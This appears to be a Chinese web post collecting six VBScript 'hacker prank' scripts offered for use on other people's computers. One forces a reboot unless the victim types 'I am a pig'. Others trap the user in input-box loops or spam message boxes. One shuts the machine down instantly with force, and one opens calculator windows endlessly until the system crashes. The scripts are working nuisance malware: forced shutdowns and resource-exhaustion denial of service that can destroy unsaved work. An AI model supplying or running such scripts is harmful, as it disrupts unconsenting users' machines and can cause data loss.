黑客整人代码
1、我是猪
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试???"" ",0 ,true
dim a
a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000)
do while(a <> "我是猪")
msgbox "快点说！马上就要关机了啊，你看着办吧！"
a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000)
loop
msgbox "早说就行了嘛，真是的！"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox "哈哈哈哈，你很乖噢，我就喜欢你这样！"
2、爱情测试
const yourname = "张三"
const title = "爱情测试"
const question = "你最喜欢的人是谁？请在下面的方框中输入他的名字"
const info = "你在说谎！不要逃避嘛，实话实说，快点说啦！"
const scend = "你终于说出你的心扉了，赶紧向他表白吧，赶紧啰！哈哈！"
dim youranswer
do
youranswer = inputbox(question, title)
if youranswer <> yourname then msgbox info, vbinformation + vbokonly, title
loop until youranswer = yourname
msgbox scend, vbinformation + vbokonly, title
3、关不掉的窗口
WScript.Echo("嘿，谢谢你打开我哦，我等你很久拉！"&TSName)
WScript.Echo("你是可爱的小朋吗?")
WScript.Echo("哈,我想你拉，这你都不知道吗？")
WScript.Echo("怎么才来，说~是不是不关心我")
WScript.Echo("哼,我生气拉，等你这么久，心都凉啦。")
WScript.Echo("小强很生气，后果很严重哦。")
WScript.Echo("嘿嘿！你也会很惨滴哦")
WScript.Echo("是不是想清除我？")
WScript.Echo("那你要点上50下哦，不过会给你惊喜滴")
WScript.Echo("还剩49下，快点点哦")
WScript.Echo("还剩48下，快点，小笨蛋！")
WScript.Echo("还剩47下对，就这样快点点！")
WScript.Echo("还剩46下。你啊就是笨，要快哦，我先不打扰你工作。")
WScript.Echo("还剩45下，记得要快哦！")
WScript.Echo("还剩43下")
WScript.Echo("还剩42下")
WScript.Echo("还剩41下")
WScript.Echo("还剩40下")
WScript.Echo("还剩39下")
WScript.Echo("还剩38下")
WScript.Echo("还剩37下")
WScript.Echo("还剩36下")
WScript.Echo("还剩35下")
WScript.Echo("还剩34下")
WScript.Echo("还剩33下")
WScript.Echo("还剩32下")
WScript.Echo("还剩30下")
WScript.Echo("还剩29下")
WScript.Echo("还剩28下")
WScript.Echo("还剩27下")
WScript.Echo("还剩26下")
WScript.Echo("还剩25下")
WScript.Echo("还剩24下")
WScript.Echo("还剩23下")
WScript.Echo("还剩22下")
WScript.Echo("还剩21下")
WScript.Echo("还剩20下")
WScript.Echo("还剩19下")
WScript.Echo("还剩18下")
WScript.Echo("还剩17下")
WScript.Echo("
还剩16下")
WScript.Echo("还剩15下")
WScript.Echo("还剩14下")
WScript.Echo("还剩13下停停！！！慢点，我有话要说")
WScript.Echo("还剩12下，你继续点我就会消失滴")
WScript.Echo("还剩11下，以后就看不到我拉。555555")
WScript.Echo("还剩10下，你现在可以选择停止！")
WScript.Echo("还剩9下。你还点啊，不要我拉？")
WScript.Echo("还剩8下，有点伤心拉，干嘛丢弃人家")
WScript.Echo("还剩7下。疯了，你有点负意！")
WScript.Echo("还剩6下。对。你就点吧，我恨你！")
WScript.Echo("还剩5下，不明白，删除我你就好吗？")
WScript.Echo("还剩4下！真要删除我？")
WScript.Echo("还剩3下。可是我真的很眷恋你。。。")
WScript.Echo("还剩2下。不要这么绝情嘛，人家是爱你的！")
WScript.Echo("还剩1下。哼，既然你这么绝情。也别怪我无义！！！")
WScript.Echo("我本因该消失的，不过我留恋你滴芳容，上帝又给了一次机会。")
WScript.Echo("想结束我么?那你就再多点一次")
WScript.Echo("想结束我么?那你就再多点一次")
WScript.Echo("想结束我么?那你就再多点一次")
WScript.Echo("想结束我么?那你就再多点一次")
WScript.Echo("想结束我么?那你就再多点一次")
4、按500次回车
dim s
do until s=500
s=s+1
msgbox "哥们，给我按500次回车吧",64
loop
5、直接关机
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "shutdown -f -s -t 00",0 ,true
6、打开无数个计算器，直到死机
set wsh=createobject("wscript.shell")
do
wsh.run "calc"
loop